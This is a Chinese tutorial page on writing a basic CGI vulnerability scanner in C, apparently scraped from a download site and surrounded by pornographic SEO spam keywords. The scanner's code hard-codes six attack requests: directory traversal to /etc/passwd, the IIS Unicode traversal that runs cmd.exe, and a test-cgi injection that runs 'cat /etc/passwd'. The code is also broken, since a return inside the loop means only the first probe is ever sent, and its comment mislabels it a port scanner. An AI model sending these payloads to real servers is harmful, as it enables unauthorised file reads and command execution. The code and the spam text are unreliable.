日本国产亚洲-日本国产一区-日本国产一区二区三区-日本韩国欧美一区-日本韩国欧美在线-日本韩国欧美在线观看

當前位置:雨林木風下載站 > 技術開發教程 > 詳細頁面

編寫漏洞掃描器

編寫漏洞掃描器

更新時間:2022-05-13 文章作者:未知 信息來源:網絡 閱讀次數:

一、漏洞掃描器基本原理:  

編寫漏洞掃描器探查遠程服務器上可能存在的具有安全隱患的文件是否存在,它的socket建立過程和上面的端口掃描器是相同的,所不同的是漏洞掃描器通常使用80端口,然后對這個端口發送一個GET文件的請求,服務器接收到請求會返回文件內容,如果文件不存在則返回一個錯誤提示,通過接收返回內容可以判斷文件是否存在。發送和接收數據需要使用函數send()和recv(),另外對流中存在的字符串進行判斷需要使用函數strstr(),這除了需要具備socket函數庫的知識以外,還需要一些有關string函數庫的知識。  

二、簡單的漏洞掃描源代碼:  

/********************************************/  
/* 端口掃描器 源代碼 */  
/* CgiScanner.cpp */  
/********************************************/  

#include <stdio.h>  
#include <string.h>  
#include <winsock.h>  

int main(int argc,char *argv[])  
{  
if(argc!=2){  
printf("Useage : scan [IP address]\n");  
return(1);  
}  

struct sockaddr_in blah;  
struct hostent *he;  
WSADATA wsaData;  
int i;  
WORD wVersionRequested;  
SOCKET sock;  

char buff[1024];  
char *ex[10];  
ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";  
ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";  
ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";  
ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";  
ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";  
ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";  
char *fmsg="HTTP/1.1 200 OK";  

wVersionRequested = MAKEWORD( 1, 1 );  
if (WSAStartup(wVersionRequested , &wsaData)){  
printf("Winsock Initialization failed.\n");  
exit(1);  
}  

if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){  
printf("Can not create socket.\n");  
exit(1);  
}  
sock = socket(AF_INET,SOCK_STREAM,0);  
blah.sin_family = AF_INET;  
blah.sin_port = htons(80);  
blah.sin_addr.s_addr= inet_addr(argv[1]);  

if ((he=gethostbyname(argv[1]))!=NULL){  
memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);  
}  
else{  
if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){  
WSACleanup();  
exit(1);  
}  
}  

for (i=1 ; i<7; i++) {
if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
send(sock,ex[i],strlen(ex[i]),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound :%s\n", ex[i]);
}
}

closesocket(sock);
WSACleanup();
return(1);
}
}

這段代碼可以檢測六個漏洞,讀者可以根據自己的需要增加漏洞掃描的數量。程序實現的很簡潔,概括起來這段程序完成了一下四項工作:

1、連接目標主機SERVER;
2、向目標主機發送GET請求;
3、接收目標返回數據;
4、根據返回數據判斷文件是否存在。

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統下載排行

主站蜘蛛池模板: 成人免费观看一区二区 | 伊人久久中文字幕久久cm | 成人18视频拍拍拍拍拍拍 | 普通话对白国产情侣自啪 | 欧美一区二区在线观看视频 | 日韩国产精品视频 | 色成人综合 | 日本成人一级 | 国产不卡在线蜜 | 日日摸日日碰日日狠狠 | 九九99久久精品在免费线bt | 亚洲综合色一区 | 97国产影院 | 欧美日日操| 久久精品国产欧美 | 国产成人免费观看 | 欧美久久影院 | 国产亚洲精品久久久久久牛牛 | 伊人久久成久久影院 | 免费av一区二区三区 | 中文字幕日韩一区二区三区不 | 久久亚洲欧美成人精品 | 欧美整片在线观看 | 亚洲国产精品视频 | 日韩国产午夜一区二区三区 | 日韩免费高清视频网站 | 19国产精品麻豆免费观看 | 色爱区综合激月婷婷激情五月 | 久久亚洲国产的中文 | 精品欧美高清不卡在线 | 亚洲日本综合 | 欧美成人一级片 | 99久久精品国产免看国产一区 | 欧美日韩在线一区二区三区 | 国产福利永久在线视频无毒不卡 | 国产成人高清精品免费5388 | 久久免费观看国产精品88av | 色黄啪啪18周岁以下禁止观看 | 2021一本久道 | 欧美孕妇excels交 | 特级黄毛片 |